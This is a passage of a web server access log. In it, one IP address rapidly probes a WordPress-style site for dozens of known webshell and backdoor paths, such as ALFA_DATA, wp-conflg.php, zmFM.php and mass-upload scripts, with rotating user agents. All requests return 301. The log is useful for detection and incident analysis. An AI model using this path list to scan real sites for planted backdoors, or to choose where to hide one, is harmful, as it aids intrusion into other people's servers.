AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:18 -0400] "GET /wp-includes/fonts/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:19 -0400] "GET /wp-includes/html-api/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:19 -0400] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:19 -0400] "GET /product-category/gaming/page/2/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:19 -0400] "GET /request-quote/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:19 -0400] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:19 -0400] "GET /wp-content/themes/fing/uph.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:19 -0400] "GET /wp-content/themes/twentytwentythree/templates/blog-alternative.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 91.246.58.169 - - [27/Apr/2025:19:38:19 -0400] "GET /wp-content/themes/twentytwentyfour/assets/css/button-outline.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:19 -0400] "GET /wp-includes/widgets/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 91.246.58.169 - - [27/Apr/2025:19:38:19 -0400] "GET /wp-admin/css/color/blue/maintenence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:19 -0400] "GET /wp-content/themes/extol/settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:19 -0400] "GET /wp-content/themes/digital-download/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:20 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:20 -0400] "GET /wp-includes/class-wp-simple-js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:20 -0400] "GET /wp-includes/room.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:20 -0400] "GET /wp-includes/certificates/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 91.246.58.169 - - [27/Apr/2025:19:38:20 -0400] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:20 -0400] "GET /wp-includes/link.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.246.58.169 - - [27/Apr/2025:19:38:20 -0400] "GET /wp-includes/id3/license.txt/xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:20 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519-items.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:20 -0400] "GET /menusystem32.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:20 -0400] "GET /wp-admin/images/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:20 -0400] "GET /wp-includes/fonts/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:21 -0400] "GET /wp-includes/ID3/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:21 -0400] "GET /wp-admin/css/colors/ectoplasm/links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:21 -0400] "GET /vendor/bin/loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 91.246.58.169 - - [27/Apr/2025:19:38:21 -0400] "GET /OVA-MASS-UP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:21 -0400] "GET /up-UP-up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:21 -0400] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.246.58.169 - - [27/Apr/2025:19:38:21 -0400] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:21 -0400] "GET /wp-includes/pomo/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:21 -0400] "GET /wp-admin/css/colors/ectoplasm/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:21 -0400] "GET /wp-includes/PHPMailer/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:21 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:22 -0400] "GET /wp-includes/certificates/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:22 -0400] "GET /wp-includes/theme-compat/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:22 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:22 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.246.58.169 - - [27/Apr/2025:19:38:22 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:22 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:22 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:22 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 91.246.58.169 - - [27/Apr/2025:19:38:22 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:22 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.246.58.169 - - [27/Apr/2025:19:38:22 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:23 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:23 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:23 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.246.58.169 - - [27/Apr/2025:19:38:23 -0400] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 91.246.58.169 - - [27/Apr/2025:19:38:23 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:23 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 91.246.58.169 - - [27/Apr/2025:19:38:23 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:23 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:23 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:23 -0400] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:23 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:23 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 91.246.58.169 - - [27/Apr/2025:19:38:24 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:24 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.246.58.169 - - [27/Apr/2025:19:38:24 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:24 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 91.246.58.169 - - [27/Apr/2025:19:38:24 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:24 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:24 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:24 -0400] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:24 -0400] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:24 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:25 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 91.246.58.169 - - [27/Apr/2025:19:38:25 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:25 -0400] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.246.58.169 - - [27/Apr/2025:19:38:25 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 91.246.58.169 - - [27/Apr/2025:19:38:25 -0400] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:25 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:25 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:25 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:25 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:25 -0400] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:25 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:26 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:26 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:26 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:26 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:26 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:26 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:26 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:26 -0400] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:26 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:26 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:27 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:27 -0400] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:27 -0400] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.246.58.169 - - [27/Apr/2025:19:38:27 -0400] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:27 -0400] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:27 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:27 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:27 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:27 -0400] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:27 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.246.58.169 - - [27/Apr/2025:19:38:27 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:28 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:28 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:28 -0400] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:28 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.246.58.169 - - [27/Apr/2025:19:38:28 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:28 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.246.58.169 - - [27/Apr/2025:19:38:28 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.246.58.169 - - [27/Apr/2025:19:38:28 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 91.246.58.169 - - [27/Apr/2025:19:38:28 -0400] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.246.58.169 - - [27/Apr/2025:19:38:28 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 91.246.58.169 - - [27/Apr/2025:19:38:28 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.246.58.169 - - [27/Apr/2025:19:38:28 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 